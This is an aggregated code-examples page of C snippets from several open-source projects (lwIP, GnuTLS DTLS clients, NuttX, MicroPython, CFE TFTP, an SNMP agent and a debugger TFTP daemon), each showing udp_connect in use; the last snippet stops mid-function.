コード例 #1
0
ファイル: api_msg.c プロジェクト: BlueSkyGjj/SAMV71_softpack
/**
 * Connect a pcb contained inside a netconn
 * Called from netconn_connect.
 *
 * @param msg the api_msg_msg pointing to the connection and containing
 *            the IP address and port to connect to
 */
void
do_connect(struct api_msg_msg *msg)
{
  if (msg->conn->pcb.tcp == NULL) {
    sys_sem_signal(msg->conn->op_completed);
    return;
  }

  switch (NETCONNTYPE_GROUP(msg->conn->type)) {
#if LWIP_RAW
  case NETCONN_RAW:
    msg->conn->err = raw_connect(msg->conn->pcb.raw, msg->msg.bc.ipaddr);
    sys_sem_signal(msg->conn->op_completed);
    break;
#endif /* LWIP_RAW */
#if LWIP_UDP
  case NETCONN_UDP:
    msg->conn->err = udp_connect(msg->conn->pcb.udp, msg->msg.bc.ipaddr, msg->msg.bc.port);
    sys_sem_signal(msg->conn->op_completed);
    break;
#endif /* LWIP_UDP */
#if LWIP_TCP
  case NETCONN_TCP:
    msg->conn->state = NETCONN_CONNECT;
    setup_tcp(msg->conn);
    msg->conn->err = tcp_connect(msg->conn->pcb.tcp, msg->msg.bc.ipaddr, msg->msg.bc.port,
                                 do_connected);
    /* sys_sem_signal() is called from do_connected (or err_tcp()),
     * when the connection is established! */
    break;
#endif /* LWIP_TCP */
  default:
    LWIP_ERROR("Invalid netconn type", 0, do{ msg->conn->err = ERR_VAL;
      sys_sem_signal(msg->conn->op_completed); }while(0));
    break;
  }
}
コード例 #2
0
ファイル: broadcast.c プロジェクト: DanMills/j4cDAC
/* broadcast_send
 *
 * Fire off a broadcast packet with information about this DAC.
 */
void broadcast_send(void) {
	/* Because lwip is an enormous steaming pile of the finest software
	 * engineering, it is not possible to just allocate *one* pbuf
	 * during initialization - udp_send modifies the pbuf it is given
	 * and changes, among other things, its total length. (??!) So we
	 * allocatea fresh one each time.
	 */

	udp_new(&broadcast_pcb);

	udp_bind(&broadcast_pcb, IP_ADDR_ANY, BROADCAST_PORT);

	udp_connect(&broadcast_pcb, IP_ADDR_BROADCAST, BROADCAST_PORT);

	struct pbuf * p = pbuf_alloc(PBUF_TRANSPORT, sizeof(struct
		dac_broadcast), PBUF_RAM);

	/* Shamefully bail out. */
	if (!p)
		return;

	struct dac_broadcast *pkt = (struct dac_broadcast *) p->payload;

	eth_get_mac(pkt->mac_address);
	fill_status(&pkt->status);
	pkt->buffer_capacity = DAC_BUFFER_POINTS - 1;
	pkt->max_point_rate = DAC_MAX_POINT_RATE;

	pkt->hw_revision = 0;	// XXX TODO
	pkt->sw_revision = 1;	// XXX TODO - integrate into build system

	udp_send(&broadcast_pcb, p);
	pbuf_free(p);

	udp_remove(&broadcast_pcb);
}
コード例 #3
0
ファイル: dtls_echo.c プロジェクト: a34729t/exp
void dtls_client (char address[], int port, char message[])
{
    int ret, sd;
    gnutls_session_t session;
    const char *err;
    gnutls_certificate_credentials_t xcred;
    
    // Certs
    char *cafile = "./certs/cert.pem";
    
    // Configure credentials and session
    gnutls_certificate_allocate_credentials (&xcred);
    gnutls_certificate_set_x509_trust_file (xcred, cafile, GNUTLS_X509_FMT_PEM);
    gnutls_certificate_set_verify_function (xcred, verify_certificate_callback);
    gnutls_init (&session, GNUTLS_CLIENT | GNUTLS_DATAGRAM);
    
    ret = gnutls_priority_set_direct (session, "NORMAL", &err);
    if (ret < 0) Die (err);
    
    /* put the x509 credentials to the current session */
    gnutls_credentials_set (session, GNUTLS_CRD_CERTIFICATE, xcred);
    
    // set up connection and properties
    sd = udp_connect (address, port);
    gnutls_transport_set_ptr (session, (gnutls_transport_ptr_t) sd);
    gnutls_dtls_set_mtu (session, 1000);
    gnutls_handshake_set_timeout (session, GNUTLS_DEFAULT_HANDSHAKE_TIMEOUT);
    
    // Start TLS handshake
    do
    {
        ret = gnutls_handshake (session);
    }
    while (ret < 0 && gnutls_error_is_fatal (ret) == 0);

    if (ret < 0)
    {
        fprintf (stderr, "*** Handshake failed\n");
        gnutls_perror (ret);
        goto end;
    }
    else
    {
        printf ("- Handshake was completed\n");
    }
    // end of handshake
    
    int j = 5; // send j messages
    do
    {
        // Send and receive message
        gnutls_record_send (session, message, strlen(message));

        ret = gnutls_record_recv (session, message, MAX_MESSAGE_SIZE);
        if (ret == 0)
        {
            printf ("- Peer has closed the TLS connection\n");
            goto end;
        }
        else if (ret < 0)
        {
            fprintf (stderr, "*** Error: %s\n", gnutls_strerror (ret));
            goto end;
        }
        printf ("- Received %d bytes: %s\n", ret, message);
        j--;
    }
    while(j>0);
    
    /* It is suggested not to use GNUTLS_SHUT_RDWR in DTLS
     * connections because the peer's closure message might
     * be lost */
    gnutls_bye (session, GNUTLS_SHUT_WR);
end:
    udp_close (sd);
    gnutls_deinit (session);
    gnutls_certificate_free_credentials (xcred);
    gnutls_global_deinit ();

    return 0;    
}
コード例 #4
0
ファイル: msg_out.c プロジェクト: comrid1987/jb3500
/**
 * Sends a 'getresponse' message to the request originator.
 *
 * @param m_stat points to the current message request state source
 * @return ERR_OK when success, ERR_MEM if we're out of memory
 *
 * @note the caller is responsible for filling in outvb in the m_stat
 * and provide error-status and index (except for tooBig errors) ...
 */
err_t
snmp_send_response(struct snmp_msg_pstat *m_stat)
{
  struct snmp_varbind_root emptyvb = {NULL, NULL, 0, 0, 0};
  struct pbuf *p;
  u16_t tot_len;
  err_t err;

  /* pass 0, calculate length fields */
  tot_len = snmp_varbind_list_sum(&m_stat->outvb);
  tot_len = snmp_resp_header_sum(m_stat, tot_len);

  /* try allocating pbuf(s) for complete response */
  p = pbuf_alloc(PBUF_TRANSPORT, tot_len, PBUF_POOL);
  if (p == NULL)
  {
    LWIP_DEBUGF(SNMP_MSG_DEBUG, ("snmp_snd_response() tooBig\n"));

    /* can't construct reply, return error-status tooBig */
    m_stat->error_status = SNMP_ES_TOOBIG;
    m_stat->error_index = 0;
    /* pass 0, recalculate lengths, for empty varbind-list */
    tot_len = snmp_varbind_list_sum(&emptyvb);
    tot_len = snmp_resp_header_sum(m_stat, tot_len);
    /* retry allocation once for header and empty varbind-list */
    p = pbuf_alloc(PBUF_TRANSPORT, tot_len, PBUF_POOL);
  }
  if (p != NULL)
  {
    /* first pbuf alloc try or retry alloc success */
    u16_t ofs;

    LWIP_DEBUGF(SNMP_MSG_DEBUG, ("snmp_snd_response() p != NULL\n"));

    /* pass 1, size error, encode packet ino the pbuf(s) */
    ofs = snmp_resp_header_enc(m_stat, p);
    if (m_stat->error_status == SNMP_ES_TOOBIG)
    {
      snmp_varbind_list_enc(&emptyvb, p, ofs);
    }
    else
    {
      snmp_varbind_list_enc(&m_stat->outvb, p, ofs);
    }

    switch (m_stat->error_status)
    {
      case SNMP_ES_TOOBIG:
        snmp_inc_snmpouttoobigs();
        break;
      case SNMP_ES_NOSUCHNAME:
        snmp_inc_snmpoutnosuchnames();
        break;
      case SNMP_ES_BADVALUE:
        snmp_inc_snmpoutbadvalues();
        break;
      case SNMP_ES_GENERROR:
        snmp_inc_snmpoutgenerrs();
        break;
    }
    snmp_inc_snmpoutgetresponses();
    snmp_inc_snmpoutpkts();

    /** @todo do we need separate rx and tx pcbs for threaded case? */
    /** connect to the originating source */
    udp_connect(m_stat->pcb, &m_stat->sip, m_stat->sp);
    err = udp_send(m_stat->pcb, p);
    if (err == ERR_MEM)
    {
      /** @todo release some memory, retry and return tooBig? tooMuchHassle? */
      err = ERR_MEM;
    }
    else
    {
      err = ERR_OK;
    }
    /** disassociate remote address and port with this pcb */
    udp_disconnect(m_stat->pcb);

    pbuf_free(p);
    LWIP_DEBUGF(SNMP_MSG_DEBUG, ("snmp_snd_response() done\n"));
    return err;
  }
  else
  {
    /* first pbuf alloc try or retry alloc failed
       very low on memory, couldn't return tooBig */
    return ERR_MEM;
  }
}
コード例 #5
0
ファイル: ex-client-dtls.c プロジェクト: Distrotech/gnutls
int main(void)
{
        int ret, sd, ii;
        gnutls_session_t session;
        char buffer[MAX_BUF + 1];
        const char *err;
        gnutls_certificate_credentials_t xcred;

        if (gnutls_check_version("3.1.4") == NULL) {
                fprintf(stderr, "GnuTLS 3.1.4 or later is required for this example\n");
                exit(1);
        }

        /* for backwards compatibility with gnutls < 3.3.0 */
        gnutls_global_init();

        /* X509 stuff */
        gnutls_certificate_allocate_credentials(&xcred);

        /* sets the trusted cas file */
        gnutls_certificate_set_x509_trust_file(xcred, CAFILE,
                                               GNUTLS_X509_FMT_PEM);
        gnutls_certificate_set_verify_function(xcred,
                                               verify_certificate_callback);

        /* Initialize TLS session */
        gnutls_init(&session, GNUTLS_CLIENT | GNUTLS_DATAGRAM);

        /* Use default priorities */
        ret = gnutls_priority_set_direct(session, 
                                         "NORMAL", &err);
        if (ret < 0) {
                if (ret == GNUTLS_E_INVALID_REQUEST) {
                        fprintf(stderr, "Syntax error at: %s\n", err);
                }
                exit(1);
        }

        /* put the x509 credentials to the current session */
        gnutls_credentials_set(session, GNUTLS_CRD_CERTIFICATE, xcred);
        gnutls_server_name_set(session, GNUTLS_NAME_DNS, "my_host_name",
                               strlen("my_host_name"));

        /* connect to the peer */
        sd = udp_connect();

        gnutls_transport_set_int(session, sd);

        /* set the connection MTU */
        gnutls_dtls_set_mtu(session, 1000);
        gnutls_handshake_set_timeout(session,
                                     GNUTLS_DEFAULT_HANDSHAKE_TIMEOUT);

        /* Perform the TLS handshake */
        do {
                ret = gnutls_handshake(session);
        }
        while (ret == GNUTLS_E_INTERRUPTED || ret == GNUTLS_E_AGAIN);
        /* Note that DTLS may also receive GNUTLS_E_LARGE_PACKET */

        if (ret < 0) {
                fprintf(stderr, "*** Handshake failed\n");
                gnutls_perror(ret);
                goto end;
        } else {
                char *desc;

                desc = gnutls_session_get_desc(session);
                printf("- Session info: %s\n", desc);
                gnutls_free(desc);
        }

        gnutls_record_send(session, MSG, strlen(MSG));

        ret = gnutls_record_recv(session, buffer, MAX_BUF);
        if (ret == 0) {
                printf("- Peer has closed the TLS connection\n");
                goto end;
        } else if (ret < 0 && gnutls_error_is_fatal(ret) == 0) {
                fprintf(stderr, "*** Warning: %s\n", gnutls_strerror(ret));
        } else if (ret < 0) {
                fprintf(stderr, "*** Error: %s\n", gnutls_strerror(ret));
                goto end;
        }

        if (ret > 0) {
                printf("- Received %d bytes: ", ret);
                for (ii = 0; ii < ret; ii++) {
                        fputc(buffer[ii], stdout);
                }
                fputs("\n", stdout);
        }

        /* It is suggested not to use GNUTLS_SHUT_RDWR in DTLS
         * connections because the peer's closure message might
         * be lost */
        gnutls_bye(session, GNUTLS_SHUT_WR);

      end:

        udp_close(sd);

        gnutls_deinit(session);

        gnutls_certificate_free_credentials(xcred);

        gnutls_global_deinit();

        return 0;
}
コード例 #6
0
static void
do_connect(struct api_msg_msg *msg)
{
  if (msg->conn->pcb.tcp == NULL) {
    switch (msg->conn->type) {
#if LWIP_RAW
    case NETCONN_RAW:
      msg->conn->pcb.raw = raw_new(msg->msg.bc.port); /* misusing the port field as protocol */
      raw_recv(msg->conn->pcb.raw, recv_raw, msg->conn);
      break;
#endif
#if LWIP_UDP
    case NETCONN_UDPLITE:
      msg->conn->pcb.udp = udp_new();
      if (msg->conn->pcb.udp == NULL) {
  msg->conn->err = ERR_MEM;
  sys_mbox_post(msg->conn->mbox, NULL);
  return;
      }
      udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_UDPLITE);
      udp_recv(msg->conn->pcb.udp, recv_udp, msg->conn);
      break;
    case NETCONN_UDPNOCHKSUM:
      msg->conn->pcb.udp = udp_new();
      if (msg->conn->pcb.udp == NULL) {
  msg->conn->err = ERR_MEM;
  sys_mbox_post(msg->conn->mbox, NULL);
  return;
      }
      udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_NOCHKSUM);
      udp_recv(msg->conn->pcb.udp, recv_udp, msg->conn);
      break;
    case NETCONN_UDP:
      msg->conn->pcb.udp = udp_new();
      if (msg->conn->pcb.udp == NULL) {
  msg->conn->err = ERR_MEM;
  sys_mbox_post(msg->conn->mbox, NULL);
  return;
      }
      udp_recv(msg->conn->pcb.udp, recv_udp, msg->conn);
      break;
#endif /* LWIP_UDP */
#if LWIP_TCP      
    case NETCONN_TCP:
      msg->conn->pcb.tcp = tcp_new();      
      if (msg->conn->pcb.tcp == NULL) {
  msg->conn->err = ERR_MEM;
  sys_mbox_post(msg->conn->mbox, NULL);
  return;
      }
#endif
    default:
      break;
    }
  }
  switch (msg->conn->type) {
#if LWIP_RAW
  case NETCONN_RAW:
    raw_connect(msg->conn->pcb.raw, msg->msg.bc.ipaddr);
    sys_mbox_post(msg->conn->mbox, NULL);
    break;
#endif
#if LWIP_UDP
  case NETCONN_UDPLITE:
    /* FALLTHROUGH */
  case NETCONN_UDPNOCHKSUM:
    /* FALLTHROUGH */
  case NETCONN_UDP:
    udp_connect(msg->conn->pcb.udp, msg->msg.bc.ipaddr, msg->msg.bc.port);
    sys_mbox_post(msg->conn->mbox, NULL);
    break;
#endif 
#if LWIP_TCP      
  case NETCONN_TCP:
    /*    tcp_arg(msg->conn->pcb.tcp, msg->conn);*/
    setup_tcp(msg->conn);
    tcp_connect(msg->conn->pcb.tcp, msg->msg.bc.ipaddr, msg->msg.bc.port,
    do_connected);
    /*tcp_output(msg->conn->pcb.tcp);*/
#endif

  default:
    break;
  }
}
コード例 #7
0
ファイル: udp_netpoll.c プロジェクト: acassis/ros2_nuttx
int udp_pollsetup(FAR struct socket *psock, FAR struct pollfd *fds)
{
  FAR struct udp_conn_s *conn = psock->s_conn;
  FAR struct udp_poll_s *info;
  FAR struct devif_callback_s *cb;
  net_lock_t flags;
  int ret;

  /* Sanity check */

#ifdef CONFIG_DEBUG
  if (!conn || !fds)
    {
      return -EINVAL;
    }
#endif

  /* Allocate a container to hold the poll information */

  info = (FAR struct udp_poll_s *)kmm_malloc(sizeof(struct udp_poll_s));
  if (!info)
    {
      return -ENOMEM;
    }

  /* Some of the  following must be atomic */

  flags = net_lock();

  /* Get the device that will provide the provide the NETDEV_DOWN event.
   * NOTE: in the event that the local socket is bound to INADDR_ANY, the
   * dev value will be zero and there will be no NETDEV_DOWN notifications.
   */

  info->dev = udp_find_laddr_device(conn);

  /* Setup the UDP remote connection */

  ret = udp_connect(conn, NULL);
  if (ret)
    {
      goto errout_with_lock;
    }

  /* Allocate a TCP/IP callback structure */

  cb = udp_callback_alloc(info->dev, conn);
  if (!cb)
    {
      ret = -EBUSY;
      goto errout_with_lock;
    }

  /* Initialize the poll info container */

  info->psock  = psock;
  info->fds    = fds;
  info->cb     = cb;

  /* Initialize the callback structure.  Save the reference to the info
   * structure as callback private data so that it will be available during
   * callback processing.
   */

  cb->flags    = 0;
  cb->priv     = (FAR void *)info;
  cb->event    = udp_poll_interrupt;

  if ((info->fds->events & POLLOUT) != 0)
    {
      cb->flags |= UDP_POLL;
    }

  if ((info->fds->events & POLLIN) != 0)
    {
      cb->flags |= UDP_NEWDATA;
    }

  if ((info->fds->events & (POLLHUP | POLLERR)) != 0)
    {
      cb->flags |= NETDEV_DOWN;
    }

  /* Save the reference in the poll info structure as fds private as well
   * for use during poll teardown as well.
   */

  fds->priv = (FAR void *)info;

  /* Check for read data availability now */

  if (!IOB_QEMPTY(&conn->readahead))
    {
      /* Normal data may be read without blocking. */

      fds->revents |= (POLLRDNORM & fds->events);
    }

  /* Check if any requested events are already in effect */

  if (fds->revents != 0)
    {
      /* Yes.. then signal the poll logic */
      sem_post(fds->sem);
    }

  net_unlock(flags);
  return OK;

errout_with_lock:
  kmm_free(info);
  net_unlock(flags);
  return ret;
}
コード例 #8
0
static int _tftp_open(tftp_info_t *info,char *hostname,char *filename,int mode)
{
    ebuf_t *buf = NULL;
    const char *datamode = "octet";
    uint16_t type,error,block;
    int res;
    int retries;

    /*
     * Look up the remote host's IP address
     */

    res = dns_lookup(hostname,info->tftp_ipaddr);
    if (res < 0) return res;

    /*
     * Open a UDP socket to the TFTP server
     */    

    info->tftp_socket = udp_socket(UDP_PROTO_TFTP);
    info->tftp_lastblock = 0;
    info->tftp_error = 0;
    info->tftp_filemode = mode;

    /*
     * Try to send the RRQ packet to open the file
     */

    for (retries = 0; retries < tftp_max_retries; retries++) {

	buf = udp_alloc();
	if (!buf) break;

	if (info->tftp_filemode == FILE_MODE_READ) {
	    ebuf_append_u16_be(buf,TFTP_OP_RRQ);	/* read file */
	    }
	else {
	    ebuf_append_u16_be(buf,TFTP_OP_WRQ);	/* write file */
	    }
	ebuf_append_bytes(buf,filename,strlen(filename)+1);
	ebuf_append_bytes(buf,datamode,strlen(datamode)+1);

	udp_send(info->tftp_socket,buf,info->tftp_ipaddr);

	buf = udp_recv_with_timeout(info->tftp_socket,tftp_rrq_timeout);
	if (buf) break;
	}

    /*
     * If we got no response, bail now.
     */

    if (!buf) {
	udp_close(info->tftp_socket);
	info->tftp_socket = -1;
	return CFE_ERR_TIMEOUT;
	}

    /*
     * Otherwise, process the response.
     */

    ebuf_get_u16_be(buf,type);

    switch (type) {
	case TFTP_OP_ACK:
	    /*
	     * Acks are what we get back on a WRQ command,
	     * but are otherwise unexpected.
	     */
	    if (info->tftp_filemode == FILE_MODE_WRITE) {
		udp_connect(info->tftp_socket,(uint16_t) buf->eb_usrdata);
		info->tftp_blknum = 1;
		info->tftp_blklen = 0;
		udp_free(buf);
		return 0;
		break;
		}
	    /* fall through */
	case TFTP_OP_RRQ:
	case TFTP_OP_WRQ:
	default:
	    /* 
	     * we aren't expecting any of these messages
	     */
	    udp_free(buf);
	    udp_close(info->tftp_socket);
	    info->tftp_socket = -1;
	    return CFE_ERR_PROTOCOLERR;

	case TFTP_OP_ERROR:
	    ebuf_get_u16_be(buf,error);
	    xprintf("TFTP error %d: %s\n",error,ebuf_ptr(buf));
	    udp_free(buf);
	    udp_close(info->tftp_socket);
	    info->tftp_socket = -1;
	    return CFE_ERR_PROTOCOLERR;

	case TFTP_OP_DATA:
	    /*
	     * Yay, we've got data!  Store the first block.
	     */
	    ebuf_get_u16_be(buf,block);
	    udp_connect(info->tftp_socket,(uint16_t) buf->eb_usrdata);
	    info->tftp_blknum = block;
	    info->tftp_blklen = ebuf_length(buf);
	    ebuf_get_bytes(buf,info->tftp_data,ebuf_length(buf));
	    udp_free(buf);
	    if (info->tftp_blklen < TFTP_BLOCKSIZE) {
		info->tftp_lastblock = 1;		/* EOF */
		}
	    return 0;
	    break;
	    
	}
}
コード例 #9
0
STATIC mp_obj_t lwip_socket_connect(mp_obj_t self_in, mp_obj_t addr_in) {
    lwip_socket_obj_t *socket = self_in;

    if (socket->pcb.tcp == NULL) {
        mp_raise_OSError(MP_EBADF);
    }

    // get address
    uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE];
    mp_uint_t port = netutils_parse_inet_addr(addr_in, ip, NETUTILS_BIG);

    ip_addr_t dest;
    IP4_ADDR(&dest, ip[0], ip[1], ip[2], ip[3]);

    err_t err = ERR_ARG;
    switch (socket->type) {
        case MOD_NETWORK_SOCK_STREAM: {
            if (socket->state != STATE_NEW) {
                if (socket->state == STATE_CONNECTED) {
                    mp_raise_OSError(MP_EISCONN);
                } else {
                    mp_raise_OSError(MP_EALREADY);
                }
            }
            // Register our receive callback.
            tcp_recv(socket->pcb.tcp, _lwip_tcp_recv);
            socket->state = STATE_CONNECTING;
            err = tcp_connect(socket->pcb.tcp, &dest, port, _lwip_tcp_connected);
            if (err != ERR_OK) {
                socket->state = STATE_NEW;
                mp_raise_OSError(error_lookup_table[-err]);
            }
            socket->peer_port = (mp_uint_t)port;
            memcpy(socket->peer, &dest, sizeof(socket->peer));
            // And now we wait...
            if (socket->timeout != -1) {
                for (mp_uint_t retries = socket->timeout / 100; retries--;) {
                    mp_hal_delay_ms(100);
                    if (socket->state != STATE_CONNECTING) break;
                }
                if (socket->state == STATE_CONNECTING) {
                    mp_raise_OSError(MP_EINPROGRESS);
                }
            } else {
                while (socket->state == STATE_CONNECTING) {
                    poll_sockets();
                }
            }
            if (socket->state == STATE_CONNECTED) {
               err = ERR_OK;
            } else {
               err = socket->state;
            }
            break;
        }
        case MOD_NETWORK_SOCK_DGRAM: {
            err = udp_connect(socket->pcb.udp, &dest, port);
            break;
        }
    }

    if (err != ERR_OK) {
        mp_raise_OSError(error_lookup_table[-err]);
    }

    return mp_const_none;
}
コード例 #10
0
ファイル: ex-client-dtls.c プロジェクト: gnutls/gnutls
int main(void)
{
        int ret, sd, ii;
        gnutls_session_t session;
        char buffer[MAX_BUF + 1];
        gnutls_certificate_credentials_t xcred;

        if (gnutls_check_version("3.1.4") == NULL) {
                fprintf(stderr, "GnuTLS 3.1.4 or later is required for this example\n");
                exit(1);
        }

        /* for backwards compatibility with gnutls < 3.3.0 */
        CHECK(gnutls_global_init());

        /* X509 stuff */
        CHECK(gnutls_certificate_allocate_credentials(&xcred));

        /* sets the system trusted CAs for Internet PKI */
        CHECK(gnutls_certificate_set_x509_system_trust(xcred));

        /* Initialize TLS session */
        CHECK(gnutls_init(&session, GNUTLS_CLIENT | GNUTLS_DATAGRAM));

        /* Use default priorities */
        CHECK(gnutls_set_default_priority(session));

        /* put the x509 credentials to the current session */
        CHECK(gnutls_credentials_set(session, GNUTLS_CRD_CERTIFICATE, xcred));
        CHECK(gnutls_server_name_set(session, GNUTLS_NAME_DNS, "www.example.com",
                                     strlen("www.example.com")));

        gnutls_session_set_verify_cert(session, "www.example.com", 0);

        /* connect to the peer */
        sd = udp_connect();

        gnutls_transport_set_int(session, sd);

        /* set the connection MTU */
        gnutls_dtls_set_mtu(session, 1000);
        /* gnutls_dtls_set_timeouts(session, 1000, 60000); */

        /* Perform the TLS handshake */
        do {
                ret = gnutls_handshake(session);
        }
        while (ret == GNUTLS_E_INTERRUPTED || ret == GNUTLS_E_AGAIN);
        /* Note that DTLS may also receive GNUTLS_E_LARGE_PACKET */

        if (ret < 0) {
                fprintf(stderr, "*** Handshake failed\n");
                gnutls_perror(ret);
                goto end;
        } else {
                char *desc;

                desc = gnutls_session_get_desc(session);
                printf("- Session info: %s\n", desc);
                gnutls_free(desc);
        }

        LOOP_CHECK(ret, gnutls_record_send(session, MSG, strlen(MSG)));

        LOOP_CHECK(ret, gnutls_record_recv(session, buffer, MAX_BUF));
        if (ret == 0) {
                printf("- Peer has closed the TLS connection\n");
                goto end;
        } else if (ret < 0 && gnutls_error_is_fatal(ret) == 0) {
                fprintf(stderr, "*** Warning: %s\n", gnutls_strerror(ret));
        } else if (ret < 0) {
                fprintf(stderr, "*** Error: %s\n", gnutls_strerror(ret));
                goto end;
        }

        if (ret > 0) {
                printf("- Received %d bytes: ", ret);
                for (ii = 0; ii < ret; ii++) {
                        fputc(buffer[ii], stdout);
                }
                fputs("\n", stdout);
        }

        /* It is suggested not to use GNUTLS_SHUT_RDWR in DTLS
         * connections because the peer's closure message might
         * be lost */
        CHECK(gnutls_bye(session, GNUTLS_SHUT_WR));

      end:

        udp_close(sd);

        gnutls_deinit(session);

        gnutls_certificate_free_credentials(xcred);

        gnutls_global_deinit();

        return 0;
}
コード例 #11
0
ファイル: tftp.c プロジェクト: k0059/yard-ice
void __attribute__((noreturn)) tftp_daemon_task(struct debugger * dbg)
{
	uint8_t buf[MAX_TFTP_MSG];
	struct tftphdr * hdr = (struct tftphdr *)buf;
	char * msg = (char *)buf;
	struct sockaddr_in sin;
	struct udp_pcb * udp;
	struct tftp_req req;
	int state = TFTPD_IDLE;
	unsigned int addr_start = 0;
	unsigned int addr_end = 0;
	int block = 0;
	int opc;
	int len;
	int blksize = TFTP_SEGSIZE; 

	DCC_LOG1(LOG_TRACE, "thread: %d", __os_thread_self());

	if ((udp = udp_alloc()) == NULL) {
		DCC_LOG(LOG_WARNING, "udp_alloc() fail!");
		abort();
	}

	if (udp_bind(udp, INADDR_ANY, htons(IPPORT_TFTP)) < 0) {
		DCC_LOG(LOG_WARNING, "udp_bind() fail!");
		abort();
	}

	for (;;) {
		if ((len = udp_recv(udp, buf, MAX_TFTP_MSG, &sin)) < 0) {
			if (len == -ECONNREFUSED) {
				DCC_LOG(LOG_WARNING, "udp_rcv ICMP error: ECONNREFUSED");
			}
			if (len == -EFAULT) {
				DCC_LOG(LOG_WARNING, "udp_rcv error: EFAULT");
			}
			if (len == -ENOTCONN) {
				DCC_LOG(LOG_WARNING, "udp_rcv error: ENOTCONN");
			}
			continue;
		}


		opc = htons(hdr->th_opcode);
		if ((opc != TFTP_RRQ) && (opc != TFTP_WRQ)) {
			DCC_LOG1(LOG_WARNING, "invalid opc: %d", opc);
			WARN("TFTP: invalid opc: %d", opc);
			continue;
		}

		if (udp_connect(udp, sin.sin_addr.s_addr, sin.sin_port) < 0) {
			DCC_LOG(LOG_WARNING, "udp_connect() error");
			WARN("TFTP: UDP connect failed!");
			continue;
		}

		DCC_LOG2(LOG_TRACE, "Connected to: %I.%d", sin.sin_addr.s_addr, 
				 ntohs(sin.sin_port));

//		INF("Connected to: %08x.%d", sin.sin_addr.s_addr, 
//			ntohs(sin.sin_port));

		for (;;) {
			DCC_LOG3(LOG_INFO, "%I.%d %d", 
					 sin.sin_addr.s_addr, ntohs(sin.sin_port), len);

			DCC_LOG2(LOG_INFO, "len=%d, opc=%s", len, tftp_opc[opc]);

			switch (opc) {
			case TFTP_RRQ:
				DCC_LOG(LOG_TRACE, "read request: ...");

				tftp_req_parse((char *)&(hdr->th_stuff), &req);
				blksize = req.blksize;

				INF("TFTP: RRQ '%s' '%s' blksize=%d", req.fname, 
					   tftp_mode[req.mode], req.blksize);

				if (tftp_decode_fname(dbg, req.fname) < 0) {
					ERR("TFTP: bad address.");
					tftp_error(udp, &sin, TFTP_ENOTFOUND, "BAD ADDR.");
					break;
				}

				/* set the transfer info */
				addr_start = dbg->transf.base;
				addr_end = addr_start + dbg->transf.size;
				block = 0;

				DCC_LOG2(LOG_TRACE, "start=0x%08x end=0x%08x", 
						 addr_start, addr_end);

				DBG("TFTP: start=0x%08x end=0x%08x", 
						 addr_start, addr_end);

				if (req.mode == TFTP_NETASCII) {
					state = TFTPD_SEND_NETASCII;
				} else if (req.mode == TFTP_OCTET) {
					state = TFTPD_SEND_OCTET;
				} else {
					tftp_error(udp, &sin, TFTP_EUNDEF, NULL);
					break;
				}

				if (req.opt_len) {
					tftp_oack(udp, &sin, req.opt, req.opt_len);
					break;
				}

				if (req.mode == TFTP_NETASCII)
					goto send_netascii;

				if (req.mode == TFTP_OCTET)
					goto send_octet;

				break;

			case TFTP_WRQ:
				/* Write Request */
				DCC_LOG(LOG_TRACE, "write request...");

				tftp_req_parse((char *)&(hdr->th_stuff), &req);
				blksize = req.blksize;

				INF("WRQ '%s' '%s' blksize=%d", req.fname, 
					   tftp_mode[req.mode], req.blksize);

				if (tftp_decode_fname(dbg, req.fname) < 0) {
					tftp_error(udp, &sin, TFTP_ENOTFOUND, "BAD ADDR.");
					break;
				}

				/* set the transfer info */
				addr_start = dbg->transf.base;
				addr_end = addr_start + dbg->transf.size;
				block = 0;

				DCC_LOG2(LOG_TRACE, "start=0x%08x end=0x%08x", 
						 addr_start, addr_end);

				DBG("TFTP: start=0x%08x end=0x%08x", 
						 addr_start, addr_end);

				if ((req.mode == TFTP_NETASCII) || (req.mode == TFTP_OCTET)) {
					state = (req.mode == TFTP_NETASCII) ? 
						TFTPD_RECV_NETASCII : TFTPD_RECV_OCTET;

					if (req.opt_len) 
						tftp_oack(udp, &sin, req.opt, req.opt_len);
					else
						tftp_ack(udp, block, &sin);

					break;
				} 

				tftp_error(udp, &sin, TFTP_EUNDEF, NULL);
				break;

			case TFTP_ACK:
				block = htons(hdr->th_block);
				DCC_LOG1(LOG_TRACE, "ACK: %d.", block);

				if (state == TFTPD_SEND_NETASCII) {
					unsigned int addr;
					int rem;
					int n;

send_netascii:
					addr = addr_start + (block * 256);
					rem = addr_end - addr;
					if (rem < 0) {
						state = TFTPD_IDLE;
						DCC_LOG1(LOG_TRACE, "eot: %d bytes sent.", 
								 addr_end - addr_start);
						break;
					}

					n = (rem < 256) ? rem : 256;

					DCC_LOG2(LOG_TRACE, "send netascii: addr=0x%08x n=%d", 
							 addr, n);

					/* build the packet */
					len = tftp_hex(addr, hdr->th_data, n);

					goto send_data;
				}

				if (state == TFTPD_SEND_OCTET) {
					unsigned int addr;
					int rem;
					int n;

send_octet:
					addr = addr_start + (block * blksize);
					rem = addr_end - addr;
					if (rem < 0) {
						state = TFTPD_IDLE;
						DCC_LOG1(LOG_TRACE, "eot: %d bytes sent.", 
								 addr_end - addr_start);
						break;
					}
					n = (rem < blksize) ? rem : blksize;

					DCC_LOG2(LOG_TRACE, "send octet: addr=0x%08x n=%d", 
							 addr, n);

					/* build the packet */
					len = target_mem_read(addr, hdr->th_data, n);

					if (len < 0) {
						DCC_LOG(LOG_WARNING, "target memory read error.");
						len = 0;
					}

send_data:
					hdr->th_opcode = htons(TFTP_DATA);
					hdr->th_block = htons(block + 1);

					DCC_LOG2(LOG_TRACE, "block %d: %d bytes.", 
							 block + 1,  len);

					if (udp_sendto(udp, hdr, 
								   sizeof(struct tftphdr) + len, &sin) < 0) {
						DCC_LOG(LOG_WARNING, "udp_sendto() fail");
						state = TFTPD_IDLE;
						break;
					}

					break;
				}

				DCC_LOG(LOG_WARNING, "state invalid!");
				break;

			case TFTP_DATA:
				/* skip the header */
				len -= 4;
				DCC_LOG2(LOG_TRACE, "block=%d len=%d", 
						 htons(hdr->th_block), len);

				DBG("TFTP: DATA block=%d len=%d", htons(hdr->th_block), len);

				if (htons(hdr->th_block) != (block + 1)) {
					/* retransmission, just ack */
					DCC_LOG2(LOG_WARNING, "retransmission, block=%d len=%d", 
							 block, len);
					tftp_ack(udp, block, &sin);
					break;
				}

				if (state == TFTPD_RECV_OCTET) {
					unsigned int addr;
					int n;

					addr = addr_start + (block * blksize);

					block++;

					if (len != blksize) {
